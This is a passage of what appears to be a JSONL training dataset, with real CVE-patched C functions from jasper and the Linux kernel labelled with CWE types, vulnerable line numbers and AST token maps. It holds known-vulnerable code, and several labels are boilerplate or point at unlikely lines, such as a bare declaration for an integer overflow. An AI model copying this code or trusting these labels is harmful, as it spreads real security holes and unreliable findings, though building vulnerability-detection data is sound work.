},\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"reg\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 10,\n \"col\": 12\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 18\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 21\n },\n {\n \"token\": \"1000\",\n \"ast_node\": \"number_literal\",\n \"line\": 10,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 27\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static long mem_seek(jas_stream_obj_t *obj, long offset, int origin)\n {\n \tjas_stream_memobj_t *m = (jas_stream_memobj_t *)obj;\n\tlong newpos;\n \n \tJAS_DBGLOG(100, (\"mem_seek(%p, %ld, %d)\\n\", obj, offset, origin));\n \tswitch (origin) {\n\tcase SEEK_SET:\n\t\tnewpos = offset;\n\t\tbreak;\n\tcase SEEK_END:\n\t\tnewpos = m->len_ - offset;\n\t\tbreak;\n\tcase SEEK_CUR:\n\t\tnewpos = m->pos_ + offset;\n\t\tbreak;\n\tdefault:\n\t\tabort();\n\t\tbreak;\n\t}\n\tif (newpos < 0) {\n\t\treturn -1;\n\t}\n\tm->pos_ = newpos;\n\n\treturn m->pos_;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-9262\",\n \"project\": \"jasper\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"mem_seek\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"jas_stream_obj_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"obj\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"origin\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 62\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"jas_stream_memobj_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"m\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"jas_stream_memobj_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 49\n },\n {\n \"token\": \"obj\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 50\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 53\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"newpos\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"JAS_DBGLOG\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"100\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"mem_seek(%p, %ld, %d)\",\n \"ast_node\": \"string_content\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"\\\\n\",\n \"ast_node\": \"escape_sequence\",\n \"line\": 6,\n \"col\": 41\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 6,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 44\n },\n {\n \"token\": \"obj\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 46\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 49\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 51\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 57\n },\n {\n \"token\": \"origin\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 59\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 65\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 66\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 67\n },\n {\n \"token\": \"switch\",\n \"ast_node\": \"switch\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"origin\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"SEEK_SET\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"newpos\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"offset\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"break\",\n \"ast_node\": \"break\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 7\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-404", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int send_reply_chunks(struct svcxprt_rdma *xprt,\n\t\t\t struct rpcrdma_write_array *rp_ary,\n\t\t\t struct rpcrdma_msg *rdma_resp,\n\t\t\t struct svc_rqst *rqstp,\n\t\t\t struct svc_rdma_req_map *vec)\n {\n\tu32 xfer_len = rqstp->rq_res.len;\n\tint write_len;\n\tu32 xdr_off;\n\tint chunk_no;\n\tint chunk_off;\n\tint nchunks;\n\tstruct rpcrdma_segment *ch;\n\tstruct rpcrdma_write_array *res_ary;\n\tint ret;\n \n\t/* XXX: need to fix when reply lists occur with read-list and or\n\t * write-list */\n\tres_ary = (struct rpcrdma_write_array *)\n\t\t&rdma_resp->rm_body.rm_chunks[2];\n\t/* xdr offset starts at RPC message */\n\tnchunks = be32_to_cpu(rp_ary->wc_nchunks);\n\tfor (xdr_off = 0, chunk_no = 0;\n\t xfer_len && chunk_no < nchunks;\n\t chunk_no++) {\n\t\tu64 rs_offset;\n\t\tch = &rp_ary->wc_array[chunk_no].wc_target;\n\t\twrite_len = min(xfer_len, be32_to_cpu(ch->rs_length));\n\t\t/* Prepare the reply chunk given the length actually\n\t\t * written */\n\t\txdr_decode_hyper((__be32 *)&ch->rs_offset, &rs_offset);\n\t\tsvc_rdma_xdr_encode_array_chunk(res_ary, chunk_no,\n\t\t\t\t\t\tch->rs_handle, ch->rs_offset,\n\t\t\t\t\t\twrite_len);\n\t\tchunk_off = 0;\n\t\twhile (write_len) {\n\t\t\tret = send_write(xprt, rqstp,\n\t\t\t\t\t be32_to_cpu(ch->rs_handle),\n\t\t\t\t\t rs_offset + chunk_off,\n\t\t\t\t\t xdr_off,\n\t\t\t\t\t write_len,\n\t\t\t\t\t vec);\n\t\t\tif (ret <= 0)\n\t\t\t\tgoto out_err;\n\t\t\tchunk_off += ret;\n\t\t\txdr_off += ret;\n\t\t\txfer_len -= ret;\n\t\t\twrite_len -= ret;\n\t\t}\n \t}\n\t/* Update the req with the number of chunks actually used */\n\tsvc_rdma_xdr_encode_reply_array(res_ary, chunk_no);\n \n\treturn rqstp->rq_res.len;\n \nout_err:\n\tpr_err(\"svcrdma: failed to send reply chunks, rc=%d\\n\", ret);\n\treturn -EIO;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-404\",\n \"cwe_name\": \"Improper Resource Shutdown\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-9059\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4,\n 5,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 13,\n 14,\n 15,\n 17,\n 18,\n 19,\n 20,\n 21,\n 22,\n 23\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"send_reply_chunks\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"svcxprt_rdma\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"xprt\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"rpcrdma_write_array\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 35\n },\n {\n \"token\": \"rp_ary\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 42\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"rpcrdma_msg\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"rdma_resp\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"svc_rqst\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"rqstp\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"svc_rdma_req_map\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \"vec\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 36\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"u32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"xfer_len\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"rqstp\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 21\n },\n {\n \"token\": \"rq_res\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 7,\n \"col\": 29\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 30\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"write_len\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"u32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"xdr_off\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"chunk_no\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"chunk_off\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 14\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"nchunks\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 12\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 13,\n \"col\": 1\n },\n {\n \"token\": \"rpcrdma_segment\",\n \"ast_node\": \"type_identifier\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 13,\n \"col\": 24\n },\n {\n \"token\": \"ch\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 27\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 14,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-284", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,\n\t\t\t struct msghdr *msg, size_t len)\n{\n\tstruct sock_iocb *siocb = kiocb_to_siocb(kiocb);\n\tstruct sock *sk = sock->sk;\n\tstruct netlink_sock *nlk = nlk_sk(sk);\n\tstruct sockaddr_nl *addr = msg->msg_name;\n\tu32 dst_pid;\n\tu32 dst_group;\n\tstruct sk_buff *skb;\n\tint err;\n\tstruct scm_cookie scm;\n\n\tif (msg->msg_flags&MSG_OOB)\n\t\treturn -EOPNOTSUPP;\n\n\tif (NULL == siocb->scm)\n\t\tsiocb->scm = &scm;\n\n\terr = scm_send(sock, msg, siocb->scm, true);\n\tif (err < 0)\n\t\treturn err;\n\n\tif (msg->msg_namelen) {\n\t\terr = -EINVAL;\n\t\tif (addr->nl_family != AF_NETLINK)\n\t\t\tgoto out;\n \t\tdst_pid = addr->nl_pid;\n \t\tdst_group = ffs(addr->nl_groups);\n \t\terr = -EPERM;\n\t\tif (dst_group && !netlink_capable(sock, NL_NONROOT_SEND))\n \t\t\tgoto out;\n \t} else {\n \t\tdst_pid = nlk->dst_pid;\n\t\tdst_group = nlk->dst_group;\n\t}\n\n\tif (!nlk->pid) {\n\t\terr = netlink_autobind(sock);\n\t\tif (err)\n\t\t\tgoto out;\n\t}\n\n\terr = -EMSGSIZE;\n\tif (len > sk->sk_sndbuf - 32)\n\t\tgoto out;\n\terr = -ENOBUFS;\n\tskb = alloc_skb(len, GFP_KERNEL);\n\tif (skb == NULL)\n\t\tgoto out;\n\n\tNETLINK_CB(skb).pid\t= nlk->pid;\n\tNETLINK_CB(skb).dst_group = dst_group;\n\tmemcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));\n\n\terr = -EFAULT;\n\tif (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {\n\t\tkfree_skb(skb);\n\t\tgoto out;\n\t}\n\n\terr = security_netlink_send(sk, skb);\n\tif (err) {\n\t\tkfree_skb(skb);\n\t\tgoto out;\n\t}\n\n\tif (dst_group) {\n\t\tatomic_inc(&skb->users);\n\t\tnetlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);\n\t}\n\terr = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);\n\nout:\n\tscm_destroy(siocb->scm);\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-284\",\n \"cwe_name\": \"Improper Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-6689\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 31\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 24,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 24,\n \"col\": 4\n },\n {\n \"token\": \"msg\",\n \"ast_node\": \"identifier\",\n \"line\": 24,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 24,\n \"col\": 8\n },\n {\n \"token\": \"msg_namelen\",\n \"ast_node\": \"field_identifier\",\n \"line\": 24,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 24,\n \"col\": 21\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 24,\n \"col\": 23\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 25,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 25,\n \"col\": 6\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 25,\n \"col\": 8\n },\n {\n \"token\": \"EINVAL\",\n \"ast_node\": \"identifier\",\n \"line\": 25,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 25,\n \"col\": 15\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 26,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 26,\n \"col\": 5\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 26,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 26,\n \"col\": 10\n },\n {\n \"token\": \"nl_family\",\n \"ast_node\": \"field_identifier\",\n \"line\": 26,\n \"col\": 12\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 26,\n \"col\": 22\n },\n {\n \"token\": \"AF_NETLINK\",\n \"ast_node\": \"identifier\",\n \"line\": 26,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 26,\n \"col\": 35\n },\n {\n \"token\": \"goto\",\n \"ast_node\": \"goto\",\n \"line\": 27,\n \"col\": 3\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"statement_identifier\",\n \"line\": 27,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 27,\n \"col\": 11\n },\n {\n \"token\": \"dst_pid\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 3\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 28,\n \"col\": 11\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 13\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 28,\n \"col\": 17\n },\n {\n \"token\": \"nl_pid\",\n \"ast_node\": \"field_identifier\",\n \"line\": 28,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 28,\n \"col\": 25\n },\n {\n \"token\": \"dst_group\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 3\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 29,\n \"col\": 13\n },\n {\n \"token\": \"ffs\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 29,\n \"col\": 18\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 19\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 29,\n \"col\": 23\n },\n {\n \"token\": \"nl_groups\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 29,\n \"col\": 34\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 29,\n \"col\": 35\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 3\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 30,\n \"col\": 7\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 30,\n \"col\": 10\n },\n {\n \"token\": \"EPERM\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 30,\n \"col\": 16\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 31,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 31,\n \"col\": 5\n },\n {\n \"token\": \"dst_group\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 6\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 31,\n \"col\": 16\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 31,\n \"col\": 19\n },\n {\n \"token\": \"netlink_capable\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 31,\n \"col\": 35\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 31,\n \"col\": 40\n },\n {\n \"token\": \"NL_NONROOT_SEND\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 57\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 58\n },\n {\n \"token\": \"goto\",\n \"ast_node\": \"goto\",\n \"line\": 32,\n \"col\": 4\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"statement_identifier\",\n \"line\": 32,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 32,\n \"col\": 12\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 33,\n \"col\": 2\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 33,\n \"col\": 4\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "int ar6000_create_ap_interface(struct ar6_softc *ar, char *ap_ifname)\n{\n struct net_device *dev;\n struct ar_virtual_interface *arApDev;\n\n dev = alloc_etherdev(sizeof(struct ar_virtual_interface));\n if (dev == NULL) {\n AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\"ar6000_create_ap_interface: can't alloc etherdev\\n\"));\n return A_ERROR;\n } \n \n ether_setup(dev);\n init_netdev(dev, ap_ifname);\n \n if (register_netdev(dev)) {\n AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\"ar6000_create_ap_interface: register_netdev failed\\n\"));\n return A_ERROR;\n }\n\n arApDev = netdev_priv(dev);\n arApDev->arDev = ar;\n arApDev->arNetDev = dev;\n arApDev->arStaNetDev = ar->arNetDev;\n\n ar->arApDev = arApDev;\n arApNetDev = dev;\n\n /* Copy the MAC address */\n memcpy(dev->dev_addr, ar->arNetDev->dev_addr, AR6000_ETH_ADDR_LEN);\n\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n 